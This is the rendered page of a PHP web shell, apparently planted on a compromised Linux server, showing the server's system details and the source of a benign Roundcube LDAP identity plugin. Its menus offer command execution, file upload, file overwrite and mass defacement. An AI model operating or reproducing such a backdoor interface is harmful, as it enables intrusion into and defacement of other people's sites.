ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:30.9 GB of 70.42 GB (43.88%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ plugins/ new_user_identity/ - drwxr-xr-x

Directory:
Viewing file:     new_user_identity.php (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * New user identity
 *
 * Populates a new user's default identity from LDAP on their first visit.
 *
 * This plugin requires that a working public_ldap directory be configured.
 *
 * @version 1.05
 * @author Kris Steinhoff
 *
 * Example configuration:
 *
 *  // The id of the address book to use to automatically set a new
 *  // user's full name in their new identity. (This should be an
 *  // string, which refers to the $rcmail_config['ldap_public'] array.)
 *  $rcmail_config['new_user_identity_addressbook'] = 'People';
 *
 *  // When automatically setting a new users's full name in their
 *  // new identity, match the user's login name against this field.
 *  $rcmail_config['new_user_identity_match'] = 'uid';
 *
 *  // Use this field (from fieldmap configuration) to fill alias col of
 *  // the new user record.
 *  $rcmail_config['new_user_identity_alias'] = 'alias';
 */
class new_user_identity extends rcube_plugin
{
    public 
$task 'login';

    private 
$ldap;

    function 
init()
    {
        
$this->add_hook('user_create', array($this'lookup_user_name'));
    }

    function 
lookup_user_name($args)
    {
        
$rcmail rcmail::get_instance();
        
        if (
$this->init_ldap($args['host'])) {
            
$results $this->ldap->search('*'$args['user'], TRUE);
            if (
count($results->records) == 1) {
                
$args['user_name'] = $results->records[0]['name'];
                if (!
$args['user_email'] && strpos($results->records[0]['email'], '@')) {
                    
$args['user_email'] = rcube_idn_to_ascii($results->records[0]['email']);
                }
                if ((
$alias_col $rcmail->config->get('new_user_identity_alias')) && $results->records[0][$alias_col]) {
                  
$args['alias'] = $results->records[0][$alias_col];
                }
            }
        }
        return 
$args;
    }

    private function 
init_ldap($host)
    {
        if (
$this->ldap)
            return 
$this->ldap->ready;

        
$rcmail rcmail::get_instance();

        
$addressbook $rcmail->config->get('new_user_identity_addressbook');
        
$ldap_config = (array)$rcmail->config->get('ldap_public');
        
$match       $rcmail->config->get('new_user_identity_match');

        if (empty(
$addressbook) || empty($match) || empty($ldap_config[$addressbook])) {
            return 
false;
        }

        
$this->ldap = new new_user_identity_ldap_backend(
            
$ldap_config[$addressbook],
            
$rcmail->config->get('ldap_debug'),
            
$rcmail->config->mail_domain($host),
            
$match);

        return 
$this->ldap->ready;
    }
}

class 
new_user_identity_ldap_backend extends rcube_ldap
{
    function 
__construct($p$debug$mail_domain$search)
    {
        
parent::__construct($p$debug$mail_domain);
        
$this->prop['search_fields'] = (array)$search;
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2196 seconds